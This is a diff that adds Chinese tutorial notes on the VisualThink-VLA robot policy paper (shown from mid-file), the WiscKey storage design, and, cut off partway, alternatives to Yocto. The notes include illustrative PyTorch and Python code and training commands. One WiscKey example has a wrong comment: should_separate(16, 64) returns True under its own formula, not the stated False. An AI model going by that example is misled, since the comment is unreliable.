+数据集分层:**Full-Clean**(统计/加权训练)、**HQ-Trace**(可靠 trace 微调)、**Gold-Faithfulness**(754.7k,反事实审计)。 + +训练时辅助头预测 \(\hat{r}_t\) 并与 \(r_t\) 做 BCE;**推理时不跑 Agent、不读 trace**。 + +### 6. 与相关方法的对比(Table 1 精神) + +| 方法 | 中间推理形态 | 延迟量级 | 主要痛点 | +|------|--------------|----------|----------| +| **OpenVLA** | 无 | ~0.34 s | 无显式推理,难消歧 | +| **ECoT** | 文本 CoT | ~6–8 s | 自回归解码慢、视觉 grounding 弱 | +| **TraceVLA** | 运动轨迹类视觉 | ~0.40 s | 通道单一 | +| **SpatialVLA** | 空间/深度 | ~0.48–0.59 s | 通道较 fixed | +| **VisualThink-VLA** | **路由视觉 soft tokens** | **~0.35–0.45 s** | 需预提取证据 + 训练 router/adapter | + +--- + +## 代码示例 1:用 PyTorch 理解「路由 + Visual State Composer」(教学简化版) + +下面不是官方源码逐行复制,而是把论文公式 (5)–(9) 压成可读的最小模块,帮助零基础建立「证据向量 → mask → soft states → 动作」的心智模型: + +```python +import torch +import torch.nn as nn +import torch.nn.functional as F + +CHANNELS = ["bbox", "edge", "motion", "relation"] # C_op + + +class EvidenceRouter(nn.Module): + """r_phi: 预测每通道是否该在本步启用""" + + def __init__(self, evidence_dim: int, hidden: int = 256): + super().__init__() + self.net = nn.Sequential( + nn.Linear(evidence_dim * len(CHANNELS), hidden), + nn.ReLU(), + nn.Linear(hidden, len(CHANNELS)), + ) + + def forward(self, evidence_bank: torch.Tensor) -> torch.Tensor: + # evidence_bank: [B, num_channels, evidence_dim] + flat = evidence_bank.flatten(start_dim=1) + return torch.sigmoid(self.net(flat)) # m_soft in [0, 1]^4 + + +def harden_route(m_soft: torch.Tensor, threshold: float = 0.5) -> torch.Tensor: + """推理时用 hard mask;训练时可与 soft 混合""" + return (m_soft >= threshold).float() + + +class VisualStateComposer(nn.Module): + """h_psi: 把 routed evidence 压成 K 个 visual states""" + + def __init__(self, evidence_dim: int, num_states: int = 8, state_dim: int = 512): + super().__init__() + self.proj = nn.Linear(evidence_dim, state_dim) + self.num_states = num_states + self.state_dim = state_dim + + def forward(self, evidence_bank: torch.Tensor, route_mask: torch.Tensor) -> torch.Tensor: + # route_mask: [B, num_channels] + routed = evidence_bank * route_mask.unsqueeze(-1) + pooled = routed.sum(dim=1) / route_mask.sum(dim=1, keepdim=True).clamp(min=1.0) + base = self.proj(pooled) # [B, state_dim] + # 复制/展开成 K 个 soft states(实现细节因骨干而异) + return base.unsqueeze(1).expand(-1, self.num_states, -1) + + +class VisualThinkVLAPolicy(nn.Module): + """冻结 VLA + 外挂证据通路(示意)""" + + def __init__(self, frozen_vla: nn.Module, evidence_dim: int): + super().__init__() + self.vla = frozen_vla + for p in self.vla.parameters(): + p.requires_grad = False + self.router = EvidenceRouter(evidence_dim) + self.composer = VisualStateComposer(evidence_dim) + + def forward( + self, + rgb: torch.Tensor, + instruction_tokens: torch.Tensor, + evidence_bank: torch.Tensor, + alpha_soft: float = 0.0, + ) -> torch.Tensor: + m_soft = self.router(evidence_bank) + m_hard = harden_route(m_soft) + route = (1 - alpha_soft) * m_hard + alpha_soft * m_soft # 训练时可 alpha_soft=0.35 + visual_states = self.composer(evidence_bank, route) + # 真实 OpenVLA 会把 S_t cross-attn / prefix 注入;这里用占位接口 + return self.vla.predict_action(rgb, instruction_tokens, visual_states=visual_states) +``` + +**读代码时的三个锚点**: + +1. `evidence_bank` 是**小向量**,不是整张 feature map——所以比「再跑一套大 segmentation 进 LLM」轻; +2. `route_mask` 决定**本步开哪些通道**——对应「HUD 只亮必要图层」; +3. `frozen_vla` 不更新——VisualThink 训练的是 router + composer(+ 少量 adapter),部署风险可控。 + +--- + +## 代码示例 2:官方仓库 Quick Start(证据提取 → 路由 → 适配器训练) + +以下命令来自官方 README,展示完整 research pipeline 的 shell 入口(路径需按本机 checkpoint 修改): + +```bash +# 1) 单帧提取四通道视觉证据 +python scripts/extract_visual_evidence.py \ + --image_path path/to/current.png \ + --prev_image_path path/to/previous.png \ + --instruction "pick up the red bowl" \ + --output_dir outputs/evidence_one + +# 2) 用 feature manifest 训练证据路由器 +python scripts/train_evidence_router.py \ + --feature_manifest outputs/features/feature_manifest.jsonl \ + --config configs/evidence_router.yaml \ + --output_dir outputs/router + +# 3) 先训 dense 教师 FullSoft,再训稀疏 VisualThink-VLA(带蒸馏) +python scripts/train_visualthink_adapter.py \ + --mode full \ + --feature_manifest outputs/features/feature_manifest.jsonl \ + --model_path path/to/openvla \ + --config configs/visualthink_adapter.yaml \ + --output_dir outputs/fullsoft + +python scripts/train_visualthink_adapter.py \ + --mode visualthink \ + --feature_manifest outputs/features/feature_manifest.jsonl \ + --model_path path/to/openvla \ + --config configs/visualthink_adapter.yaml \ + --gate_checkpoint_dir outputs/router \ + --teacher_adapter_dir outputs/fullsoft \ + --output_dir outputs/visualthink +``` + +**工程上要注意**:仓库**不包含** OpenVLA 权重、SAM2、原始 robot dataset;`.gitignore` 默认忽略大资产。典型流程是**离线 batch 提取证据** → 训 router → 训 adapter → LIBERO/真机 closed-loop eval。 + +--- + +## 实验结果速览 + +### 主表(Table 2 摘要) + +| 方法 | BridgeData V2 成功率 | BridgeData V2 逐步延迟 | +|------|---------------------|------------------------| +| ECoT | 85.09% | **8.377 s** | +| BaseVLA(OpenVLA 重评) | 75.37% | 0.345 s | +| FullSoft | 88.45% | 0.447 s | +| **VisualThink-VLA** | **89.49%** | **0.367 s** | + +LIBERO 系列与 UT Austin MUTEX 上,VisualThink-VLA 与 FullSoft 成功率接近,但**八项 benchmark 平均延迟更低**(0.395 s vs 0.470 s)。 + +### 内部接口对比(Table 4 信息) + +- **Prompt-text evidence**:成功率尚可,平均延迟 **~1.43 s**(文本解码拖累); +- **Heavy dense(六通道全开)**:延迟高、平均成功率反而低于稀疏版; +- **VisualThink-VLA(routed soft tokens)**:在平均成功率上略超 FullSoft,同时更快。 + +### 骨干可移植性(Table 3) + +VisualEvidence-Set 测试划分上,挂 VisualThink 层后:OpenVLA **+16.37%**、Octo **+10.87%**、SmolVLA **+11.95%** 成功率,延迟仅 **+0.05–0.10 s** 量级。 + +### 真机 + +七自由度 **PIPER NERO** 臂 + 固定外参 RGB;任务含多物体 pick-place、关系敏感放置、接触重定向、两阶段组合操作。指标除成功率外还有 **avg_completion_time_s** 与 route-grounded audit score。 + +--- + +## 路由行为直觉(Qualitative) + +论文与 README 强调:**不同 manipulation 阶段激活不同通道**—— + +- **relation**:姿态敏感、语言指定空间关系(「放到左边」「在马克杯后面」); +- **edge**:接触、插入、对齐边缘; +- **bbox**:目标定位、抓取approach; +- **motion**:动态场景、刚发生位移的物体。 + +这像导航 HUD:**路口类型不同,亮不同图层**,而不是永远六图层全开。 + +--- + +## 损失函数与训练目标(公式级速记) + +| 符号 | 含义 | +|------|------| +| \(\mathcal{L}_{\mathrm{action}}\) | 与演示动作的标准 VLA 监督 | +| KL 蒸馏项 | 对齐 FullSoft 教师的动作 token 分布 | +| \(\mathcal{L}_{\mathrm{BCE}}(\hat{r}_t, r_t)\) | 路由头对齐 VisualEvidence-Set 标签 | +| \(\mathcal{L}_{\mathrm{total}}\) | 上述之和,\(\lambda_{\mathrm{trace}}\) 加权 trace 监督 | + +推理阶段:**只用** student 自己的 router + composer,**不**读取 \(r_t\)、不跑 VisualEvidence-Agent。 + +--- + +## 优势与局限 + +### 优势 + +- **延迟**:把 reasoning-augmented VLA 拉回 **sub-second**,接近纯 BaseVLA; +- **精度**:多数 benchmark 上优于或持平 ECoT / dense 变体; +- **模块化**:冻结骨干,证据与路由可单独迭代; +- **可审计**:VisualEvidence-Set + 反事实 faithfulness,适合安全审查。 + +### 局限 + +- **离线感知栈**:bbox/edge/motion/relation 依赖 Grounding DINO、SAM2、VLM 等,**提取成本**在训练与 batch 预处理阶段不可忽视; +- **两帧依赖**:motion 等通道需要 \(x_{t-1}, x_t\),首步或相机丢帧要特殊处理; +- **路由错误传播**:hard routing 选错通道时,没有文本 trace 给人「读心」调试——需依赖 audit 工具; +- **与「在线视觉思考」的对比**:同期工作如 VLA-Thinker 强调推理中**主动调用视觉工具**;VisualThink-VLA 更偏**预定义通道 + 学习路由**,动态性不同。 + +--- + +## 零基础学习路径建议 + +1. **先懂 VLA 闭环**:读 OpenVLA 文档,弄清「图像 + 指令 → action chunk」; +2. **对比 ECoT**:理解为何 autoregressive CoT 在 Hz 级控制里不划算; +3. **手跑 extract_visual_evidence.py**:看单帧四通道 JSON/向量长什么样; +4. **读 Table 4**:建立「prompt text vs dense vs sparse routed」三分法; +5. **Optional**:在 LIBERO 上跑 `evaluate_offline.py`,对照 success-latency 曲线。 + +--- + +## 进一步阅读 + +| 资源 | 链接 | +|------|------| +| 论文 PDF / HTML | https://arxiv.org/abs/2605.30011 | +| 官方代码 | https://github.com/DCDmllm/VisualThink-VLA | +| OpenVLA 基座 | https://github.com/openvla/openvla | +| ECoT(文本推理对照) | Embodied Chain-of-Thought 系列 | +| VisualEvidence Faithfulness | ERASER、counterfactual rationale 相关文献 | + +--- + +## 一句话总结 + +**VisualThink-VLA 让机器人策略「用图像思考」:不是先写一段推理作文,而是在每步控制前,从 bbox / edge / motion / relation 四条视觉证据里路由出当前真正需要的通道,压成轻量 soft states 注入冻结 VLA——在保持或提高成功率的同时,把 ECoT 级秒延迟压到亚秒,并附带可审计的路由监督数据 VisualEvidence-Set。** diff --git a/src/content/docs/papers/wisckey.md b/src/content/docs/papers/wisckey.md new file mode 100644 index 000000000..9f89b2c1e --- /dev/null +++ b/src/content/docs/papers/wisckey.md @@ -0,0 +1,376 @@ +--- +title: WiscKey — 把 Key 和 Value 拆开,让 SSD 上的 LSM 树少干冤枉活 +来源: 'Lu et al., "WiscKey: Separating Keys from Values in SSD-conscious Storage", FAST 2016 / ACM TOS 2017' +日期: 2026-06-13 +子分类: 存储与查询 +分类: 数据库 +provenance: pipeline-v3 +--- + +## 从日常类比开始:图书馆目录 vs 仓库货架 + +想象你在运营一座**超大图书馆**,每天要处理海量借还记录。 + +传统 LSM-tree(比如 LevelDB)的做法像:**把书名卡片和整本书绑在一起**,放进按书名排序的大柜子。每次整理柜子(**compaction**)时,工作人员必须把「卡片 + 整本书」一起搬出来、重新排序、再塞回去——书越厚,搬得越累,柜子也越挤。 + +WiscKey 换了个思路: + +1. **目录柜里只放索引卡**:卡片上写着书名(key)和**仓库货架编号**(value 在 vLog 里的地址)。 +2. **真正的书放在仓库**:按到达顺序往传送带上扔(**append-only value log,简称 vLog**),顺序写、不用当场排序。 +3. **整理目录时只搬卡片**:compaction 只排序薄薄的 key,不把整本书搬来搬去——写放大骤降。 +4. **借一整套书(范围扫描)**:先按目录顺序找到一串书名,再派多个人**并行**去仓库按编号取书——利用 SSD 内部并行读,抵消「随机取货」的劣势。 + +论文由威斯康星大学 **Lu、Pillai、Arpaci-Dusseau 夫妇** 发表于 **FAST 2016**(扩展版见 **ACM TOS 2017**)。WiscKey 在 LevelDB 基础上改造,API 不变(`Put` / `Get` / `Delete` / `Scan`),核心贡献是:**为 SSD 时代重新设计 KV 的物理布局**——键留在 LSM-tree,值搬到单独的 vLog。 + +--- + +## 是什么 + +**WiscKey** 是一种**持久化、单机**的 LSM-tree 键值存储引擎,通过 **key-value separation(键值分离)** 降低 I/O 放大(write/read amplification),并针对 SSD 的**顺序写带宽**与**并行随机读**特性做优化。 + +| 组件 | LevelDB(传统 LSM) | WiscKey | +|------|---------------------|---------| +| LSM-tree 里存什么 | key + value 完整对 | key + **value 指针**(vLog 偏移) | +| Value 放哪 | 和 key 一起写在 SSTable | 单独 **vLog**(value log)顺序追加 | +| Compaction 搬多少数据 | key + value 全搬 | **mostly keys**(体积小得多) | +| 点查路径 | 一次 LSM 查找 | LSM 找 key → vLog 读 value(两次 I/O) | +| 范围扫描 | SSTable 顺序读 KV | LSM 顺序读 key → **并行**随机读 vLog | + +一句话:**排序只需要 key;value 用日志追加,compaction 变轻,SSD 寿命和吞吐都受益。** + +--- + +## 为什么重要 + +如果你已经读过 LSM-tree / RocksDB 笔记,会知道 compaction 是「写放大」的主要来源:同一条数据在多层之间被反复读写。当 **value 比 key 大很多**(现代 workload 常见:16B key + 1KB value 并不夸张)时,问题更严重: + +- **写放大**:compaction 把大 value 跟着 key 一起重写,有效写入量可能是用户数据的 10 倍以上。 +- **读放大**:点查要读整页,大量带宽花在 value 上。 +- **SSD 寿命**:无意义的重复写加速闪存磨损。 + +论文给出的直觉数字(16B key、1KB value、key 侧写放大 10、value 侧写放大 1): + +``` +有效写放大 ≈ (10 × 16 + 1024) / (16 + 1024) ≈ 1.14 +``` + +而传统 LSM 要把 1KB value 也乘进 compaction 的倍数里,差距可以是**数量级**。 + +微基准结果(论文原文,随 value 大小变化): + +- **Bulk load**:比 LevelDB 快 **2.5×–111×**,尾延迟显著更好。 +- **随机点查**:快 **1.6×–14×**。 +- **YCSB 六类 workload**:全面快于 LevelDB 和 RocksDB。 + +WiscKey 的思想后来影响了 **BadgerDB**(Go)、RocksDB 的 **BlobDB**、以及多种「分离大 value」的工程实践——理解它是理解「LSM 上怎么放胖 value」的起点。 + +--- + +## 核心概念 + +### 1. 键值分离(Key-Value Separation) + +核心洞察来自一句看似简单的话: + +> **Compaction 只需要对 key 排序;value 可以另管。** + +WiscKey 的 LSM-tree(memtable + 多层 SSTable)里,每条记录形如: + +``` +(key, value_pointer) +``` + +`value_pointer` 指向 vLog 中的 `(file_id, offset, length)`。真正的 value 字节流 append 到 vLog 末尾——**顺序写、写放大 ≈ 1**。 + +### 2. Value Log(vLog)布局 + +vLog 中每条记录的结构(论文 §3.3.2): + +``` +[key_size][value_size][key][value] +``` + +为什么 vLog 里还要冗余存一份 key? + +- **垃圾回收**时要判断这条 value 是否还有效(key 是否仍在 LSM-tree 里)。 +- **崩溃恢复**时若 LSM 元数据不完整,可扫描 vLog 重建。 + +vLog 维护 **head**(新写入位置)和 **tail**(GC 起点)。只有 `[tail, head)` 区间内的 value 是「存活区」,查找只在这个范围解析。 + +### 3. 点查(Get)的两步读 + +``` +Get(key): + 1. 在 LSM-tree 中搜索 key(和 LevelDB 一样,可能多层 + bloom filter) + 2. 若命中,读出 value_pointer + 3. 对 vLog 做一次随机读,取出 value +``` + +多一次 I/O,但 LSM 结构更小、compaction 更轻;当 value 较大时,整体仍更快。 + +### 4. 并行范围查询(Parallel Range Query) + +键值分离的代价:范围扫描时,key 在 SSTable 里有序,value 在 vLog 里**无序**——不能一次顺序读拿齐 KV。 + +WiscKey 的解法: + +1. 用户 `Seek(start)` 后反复 `Next()`,接口与 LevelDB **完全兼容**。 +2. 检测到**连续顺序访问**模式后,后台**预取**:从 LSM 批量读后续 key 及其 value_pointer。 +3. 多个线程**并行**从 vLog 拉 value,放入队列;用户 `Value()` 时往往已命中内存。 + +这利用了 SSD 的特性:单线程随机读很慢,但**多队列并行随机读**可接近顺序带宽(论文 Figure 3/5 有测量)。 + +### 5. 垃圾回收(Garbage Collection) + +`Delete(key)` 只从 LSM-tree 删掉 key;vLog 里对应 value 变成 **dangling(悬空)** 垃圾。 + +GC 流程(简化): + +1. 从 **tail** 读一大块 vLog 记录(数 MB)。 +2. 对每条记录,用其中的 key 查询 LSM-tree——**仍有效**则保留。 +3. 有效 value **重写**到 **head**(append)。 +4. 释放 tail 到 head 之间的旧空间(实现可用 `fallocate` punch hole 等)。 + +目标:让存活 value 在 vLog 中尽量**紧凑连续**,同时 GC 开销可控。论文称 GC 运行时 WiscKey 仍可比 LevelDB 快 **70× 以上**(bulk load 场景)。 + +### 6. 崩溃一致性与 WAL 优化 + +WiscKey 利用 vLog 的 append 顺序 + key 冗余: + +- 新 value 先写 vLog,再更新 LSM(或反之,有明确顺序保证)。 +- 恢复时可扫描 vLog,结合 LSM 状态对齐 head/tail。 +- 论文还讨论在特定条件下**省略传统 LSM WAL** 的优化(减少小写系统调用开销)——属于进阶实现细节,零基础先记住「vLog 本身像一种写日志」即可。 + +### 7. 与 LevelDB 的关系 + +WiscKey **fork 自 LevelDB**,对外 API 一致,可嵌入 MySQL、MongoDB 等作为存储引擎。思想不是换掉 LSM,而是**缩小 LSM 里搬动的数据量**。 + +--- + +## 代码示例 + +### 示例 1:用 Python 模拟「键值分离」的写入与写放大 + +下面这段代码不是 WiscKey 源码,但把**写路径**和**写放大直觉**具象化了: + +```python +class SeparatedKVStore: + """极简 WiscKey 思想演示:LSM 只存 key+指针,value 进 vLog。""" + + def __init__(self): + self.lsm = {} # key -> (vlog_offset, value_len) 假装已排序 + self.vlog = bytearray() # append-only value log + self.bytes_written_user = 0 + self.bytes_written_disk = 0 + + def put(self, key: bytes, value: bytes): + # 1) value 顺序追加到 vLog(写放大 ≈ 1) + offset = len(self.vlog) + record = len(key).to_bytes(4, "little") + record += len(value).to_bytes(4, "little") + record += key + value + self.vlog += record + self.bytes_written_disk += len(record) + + # 2) LSM 只更新小记录:key + 指针 + pointer = (offset, len(value)) + old = self.lsm.get(key) + self.lsm[key] = pointer + self.bytes_written_disk += len(key) + 12 # 指针开销 + + self.bytes_written_user += len(key) + len(value) + + def get(self, key: bytes) -> bytes | None: + ptr = self.lsm.get(key) + if ptr is None: + return None + offset, length = ptr + # 跳过 header,定位 value(真实系统要解析 key_size/value_size) + pos = offset + 4 + 4 + len(key) + return bytes(self.vlog[pos : pos + length]) + + def compact_lsm_only(self, write_amplification: int = 10): + """模拟 compaction:只重写 key+指针,不搬 vLog 里的胖 value。""" + sorted_items = sorted(self.lsm.items()) + for _ in range(write_amplification - 1): + for k, p in sorted_items: + self.bytes_written_disk += len(k) + 12 + # 若 key+value 不分离,这里还要 × len(value) —— 差距来源 + + @property + def effective_write_amplification(self): + if self.bytes_written_user == 0: + return 0.0 + return self.bytes_written_disk / self.bytes_written_user + + +# 典型「小 key 大 value」 +store = SeparatedKVStore() +for i in range(1000): + store.put(f"user:{i:04d}".encode(), b"x" * 1024) # 1KB value +store.compact_lsm_only(write_amplification=10) +print(f"有效写放大 ≈ {store.effective_write_amplification:.2f}") +# 分离后远低于「value 也参与 10× compaction」的传统 LSM +``` + +运行后你会看到:vLog 承担 1KB×1000 的顺序写;compaction 模拟只反复写几十字节的 key+指针——这就是论文里 **1.14× vs 10×+** 的玩具版解释。 + +### 示例 2:点查与范围扫描的「两步 I/O」流程 + +用伪代码表达 WiscKey 读路径,便于和 LevelDB 对照: + +```python +def wiskey_get(lsm, vlog, key): + """点查:LSM 一次 + vLog 一次。""" + entry = lsm.search(key) # bloom + 多层 SSTable,同 LevelDB + if entry is None: + return None + file_id, offset, length = entry.value_pointer + return vlog.read(file_id, offset, length) + + +class RangeIterator: + """范围扫描:顺序走 LSM,并行预取 vLog。""" + + def __init__(self, lsm, vlog, prefetch_depth=64, num_workers=4): + self.lsm_iter = lsm.iterator() + self.vlog = vlog + self.prefetch_queue = asyncio.Queue(maxsize=prefetch_depth) + self.workers = num_workers + + def seek(self, start_key): + self.lsm_iter.seek(start_key) + self._schedule_prefetch() + + def next(self): + if not self.lsm_iter.valid(): + return False + self.lsm_iter.next() + self._schedule_prefetch() + return self.lsm_iter.valid() + + def value(self): + # 优先从预取缓存取;未命中则同步读 vLog + key = self.lsm_iter.key() + ptr = self.lsm_iter.value_pointer() + return self.prefetch_queue.get_cached(key) or self.vlog.read(*ptr) + + def _schedule_prefetch(self): + # 检测连续 Next() 后,批量提交后续 N 个 pointer 给线程池 + batch = self.lsm_iter.peek_keys_and_pointers(n=64) + for ptr in batch: + self.vlog.read_async(ptr) # SSD 并行随机读 +``` + +LevelDB 的 `Iterator::Value()` 直接从 SSTable 块里切片;WiscKey 多了一步 vLog,但通过 **prefetch + 并行读** 把范围扫描的坑填回去。value 越大,LevelDB 在 scan 时打开 SSTable、读 index/bloom 的开销越恐怖;论文报告 value ≥ 4KB 时 WiscKey scan 可达设备顺序带宽,最高约 **8.4× LevelDB**。 + +### 示例 3:估算「该不该做键值分离」 + +工程上可用一个一行公式做 back-of-envelope(与论文 §3.2 一致): + +```python +def should_separate(key_bytes: int, value_bytes: int, + lsm_wa: float = 10.0, vlog_wa: float = 1.0, + threshold: float = 3.0) -> bool: + """ + 有效写放大 = (lsm_wa * key + vlog_wa * value) / (key + value) + 若低于传统 LSM(≈ lsm_wa),则分离划算。 + """ + separated = (lsm_wa * key_bytes + vlog_wa * value_bytes) / (key_bytes + value_bytes) + traditional = lsm_wa + return separated < traditional / threshold + +print(should_separate(16, 64)) # False — value 太小,多一次随机读不划算 +print(should_separate(16, 1024)) # True — 胖 value,分离大赚 +print(should_separate(16, 4096)) # True — 更赚 +``` + +经验法则:**value 明显大于 key(通常数百字节以上)** 时,WiscKey 类布局更值得考虑;纯小 KV 或 value 极小场景,传统 LSM 可能更简单。 + +--- + +## 数据结构一览(单 SSD 部署) + +``` +┌─────────────────────────────────────────────────────────────┐ +│ 用户 API │ +│ Put / Get / Delete / Scan(start,end) │ +└──────────────────────────┬──────────────────────────────────┘ + │ + ┌─────────────────┴─────────────────┐ + ▼ ▼ +┌─────────────────────┐ ┌─────────────────────┐ +│ LSM-tree │ │ vLog (value log) │ +│ memtable + SSTable │ │ append-only 文件 │ +│ │ │ │ +│ key → vptr │ │ [ksz][vsz][key][val]│ +│ (排序、compaction) │ │ head ───────► tail │ +│ 只搬 key+指针 │ │ GC 清理悬空 value │ +└─────────────────────┘ └─────────────────────┘ + │ ▲ + │ value_pointer ────────────┘ + └───────────────────────────────────┘ +``` + +--- + +## 优势与代价(诚实三角) + +| 维度 | WiscKey 收益 | 仍需付出的代价 | +|------|-------------|----------------| +| 写吞吐 / 写放大 | compaction 只碰 key,胖 value 友好 | vLog append + 偶尔 GC 写 | +| 读延迟(点查) | LSM 更小,缓存命中更好 | **两次 I/O**(LSM + vLog) | +| 范围扫描 | 大 value 时并行预取很强 | 小 value 时可能不如 LevelDB(论文:64B KV scan 慢约 12×) | +| 空间 | LSM 占用小 | vLog 有 GC 前悬空垃圾,需 GC | +| 实现复杂度 | API 与 LevelDB 相同 | GC、崩溃恢复、预取线程池 | + +**没有免费午餐**:键值分离把 compaction 的痛点换成了「vLog 随机读 + GC」。WiscKey 的 SSD-conscious 指的是:**在闪存并行读够强的前提下,这笔交易划算。** + +--- + +## 与相关工作的关系 + +| 系统 / 论文 | 与 WiscKey 的关系 | +|-------------|-------------------| +| **LevelDB / RocksDB** | 基线;KV 不分离,compaction 搬全量 | +| **RocksDB BlobDB** | 工业界类似思路:大 value 放 blob 文件 | +| **BadgerDB** | Go 生态常见实现,明确受 WiscKey 启发 | +| **LSM-tree (1996)** | 逻辑结构不变,变的是物理布局 | +| **Nyberg et al. 1994** | 更早提出 key/value 分离排序的思想,WiscKey 在 SSD 上复活并系统化 | + +--- + +## 落地启示(给零基础读者的 checklist) + +1. **先量 value 大小分布**:若 P50 value 只有几十字节,别急着分离;若大量 >1KB,值得读 WiscKey / BlobDB。 +2. **把 compaction 当成「搬书」成本**:优化 LSM 不是少 compact,而是**每次 compact 少搬字节**。 +3. **SSD 不是磁盘**:并行随机读能力让「目录有序 + 仓库乱序」变得可行——这是 2016 年前后闪存论文的共同主题。 +4. **API 稳定、布局可换**:WiscKey 证明存储引擎可以在保持 `Put/Get/Scan` 的前提下大幅改底层——对嵌入 MySQL/MongoDB 这类场景友好。 +5. **GC 要有**:任何 append-only value 文件都需要失效 value 的回收策略,否则空间无限涨。 + +--- + +## 论文信息 + +| 项目 | 内容 | +|------|------| +| 标题 | WiscKey: Separating Keys from Values in SSD-conscious Storage | +| 作者 | Lanyue Lu, Thanumalayan Sankaranarayana Pillai, Andrea C. Arpaci-Dusseau, Remzi H. Arpaci-Dusseau | +| 机构 | University of Wisconsin—Madison | +| 会议 / 期刊 | FAST 2016(页 133–148);扩展版 ACM TOS 13(1), 2017 | +| DOI | [10.1145/3033273](https://doi.org/10.1145/3033273) | +| PDF | [USENIX FAST'16](https://www.usenix.org/system/files/conference/fast16/fast16-papers-lu.pdf) | + +--- + +## 小结 + +WiscKey 回答了一个朴素问题:**LSM 排序真的需要把胖 value 一起搬吗?** 答案是否定的。把 key 留在 LSM-tree、把 value 丢进顺序 vLog,compaction 从「搬书整理」降级为「整理卡片」;再用 SSD 并行读补上范围扫描的坑,用轻量 GC 清理删除后的悬空 value。 + +三条记忆足以带走全文: + +1. **分离**:LSM 存 `(key → pointer)`,vLog 顺序存 value。 +2. **放大**:胖 value workload 下,有效写放大可从 ~10× 降到 ~1.x×。 +3. **SSD**:并行随机读 + 顺序写,让这套布局在 2016 年的闪存上成立。 + +如果你已读过本仓库的 [LSM-tree 与 RocksDB](rocksdb-lsm) 笔记,可以把 WiscKey 当成「在 LSM 三角权衡里,专门砍 write amplification 的一支箭」——没有替换 LSM,而是**让 LSM 更瘦、更懂 SSD**。 diff --git a/src/content/docs/papers/yocto-alternatives.md b/src/content/docs/papers/yocto-alternatives.md new file mode 100644 index 000000000..d4d0f1f2e --- /dev/null +++ b/src/content/docs/papers/yocto-alternatives.md @@ -0,0 +1,320 @@ +--- +title: You probably don't need Yocto, and that's fine — 嵌入式 Linux 不必默认上 Yocto +来源: 'sigma star gmbh, "You probably don''t need Yocto, and that''s fine", https://sigma-star.at/blog/2026/05/you-probably-dont-need-yocto-and-thats-fine/, 2026-05-26' +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 从日常类比开始:定制西装 vs 成衣改裤脚 + +你要参加一场重要活动,需要一套得体的衣服。你有三条路: + +1. **从零裁布做西装(Yocto)** — 选面料、画版型、自己锁边、自己装扣子。合身到毫米级,但量体、打版、试穿、改版的周期以「周」计,而且以后胖了瘦了都得自己改。 +2. **买成衣再改裤脚(Debian + debos/mkosi)** — 商场里 70 000 款「零件」现成可选,你只挑需要的、改改长度,裁缝店(镜像构建工具)帮你打包成可穿的成品。 +3. **直接穿厂家配好的套装(厂商预刷镜像 / Ubuntu Core)** — 最快,但款式和尺码由别人定。 + +嵌入式 Linux 选型的困惑,和这个一模一样:行业里常默认「正经项目必上 Yocto」,仿佛不上就不专业。sigma star(一家 Yocto 资深集成商)在 2026 年的这篇文章里反其道而行:**他们自己就是 Yocto 专家,却经常劝客户先别用 Yocto** — 因为「能定制一切」在「你其实不需要定制一切」时,会变成「你要维护一切」。 + +--- + +## 是什么:Yocto 不是发行版,是「造发行版的工具箱」 + +很多人把 Yocto 叫「Yocto Linux 发行版」,这是误解。 + +| 概念 | 含义 | +|------|------| +| **Yocto Project** | 用源码组装**自定义** Linux 发行版的工具链 | +| **Poky** | Yocto 自带的参考发行版(`bitbake` + `openembedded-core` + `meta-yocto`) | +| **BitBake** | 类似 Make 的构建引擎,按 recipe(`.bb`)描述如何编译每个软件包 | +| **Layer** | 分层配置;SoC 厂商常提供 **BSP layer** 作为板级起点 | +| **Recipe** | 单个组件的构建配方:版本、补丁、`DEPENDS`、`PACKAGECONFIG` 等 | + +Yocto 的强大在于:你可以为特定 CPU 编译整个用户空间、给任意组件打补丁、开关任意特性、钉死任意版本。芯片厂商的 BSP layer 又提供了「能在真板上跑起来」的起点。**灵活 + 厂商支持** 让它成为默认选项;**同一份灵活** 在你不需要时,就是陷阱。 + +--- + +## 核心概念一:「自己的发行版」=「自己的维护账单」 + +欧盟 **Cyber Resilience Act(CRA,2024/2847)** 等产品安全法规要求:厂商在**产品生命周期内**持续提供安全更新。维护一个 Linux 系统,可能是很多年。 + +Yocto 的版本节奏: + +| 类型 | 维护窗口(约) | +|------|----------------| +| 普通 release | ~7 个月(到下一版发布) | +| LTS release(自 5.0 Scarthgap 起) | 最多 ~4 年 | + +听起来 LTS 够长,但有个隐蔽问题:**Yocto LTS 维护的是「那一套 recipe 集合 + Poky」**。一旦你做了这些事: + +- 给若干组件打了非平凡补丁 +- 额外加了 Yocto 未收录的组件 +- 为了修 bug 或锁定版本而 bump/pin 了某些包 + +那么**每一次 Yocto 维护版发布**,你都要检查:本地改动是否还能干净地叠上去?自加/自 pin 的包谁负责打 CVE 补丁?**最终维护成本落在你的团队身上**。 + +文章抛出一个尖锐问题:如果你几乎不改 Poky,为什么要用 Yocto? + +### 内核:房间里的大象 + +Yocto 会带内核并维护,但产品几乎总会: + +- 叠加 SoC 厂商补丁 +- 使用足够新的内核以包含所需驱动 + +因此 **CVE 跟踪 + 内核升级** 无论用不用 Yocto 都是大头。可控做法是:基于 **kernel.org LTS** 建整洁的 patch queue,随 stable 更新迁移;vendor 自带、多年不更新的内核通常是坏主意(少数例外)。 + +--- + +## 核心概念二:自建发行版的隐藏成本 + +| 成本维度 | 典型表现 | +|----------|----------| +| **构建时间** | 非平凡镜像 clean build 常需数小时;`sstate-cache` 可加速但 recipe 小改可能大面积失效 | +| **磁盘 / CI** | 工作目录轻松 **100 GiB+**;需大存储、共享 `sstate`/`DL_DIR`、自建镜像基础设施 | +| **学习曲线** | `bbappend`、classes、overrides、`DEPENDS` vs `RDEPENDS`、`PACKAGECONFIG`… 新人上手以**周**计 | +| **BSP 质量** | 有的厂商 layer 干净;有的 pin 五年老内核、把 machine recipe 放错层、一 bump Poky 就崩 | + +这些不是「别用 Yocto」的理由,而是 **「确认你真的需要它再下注」** 的理由。 + +--- + +## 核心概念三:成熟发行版 + 镜像工具 = 常见路的捷径 + +若目标只是 **「有一块可靠的 Linux 跑我的应用」**,**Debian GNU/Linux** 等成熟发行版往往更省 per-project 人力: + +- 约 **70 000** 个二进制包,覆盖 `amd64`、`arm64`、`armhf`、`riscv64`、`ppc64el` 等 +- 很多 SoC **直接跑** Debian 预编译包,无需重编 +- 可用 `systemd` 现代栈,也可用 BusyBox / SysV init 做 slim 系统 +- **Debian stable** 安全更新约 3 年 + **Debian LTS** 社区再延约 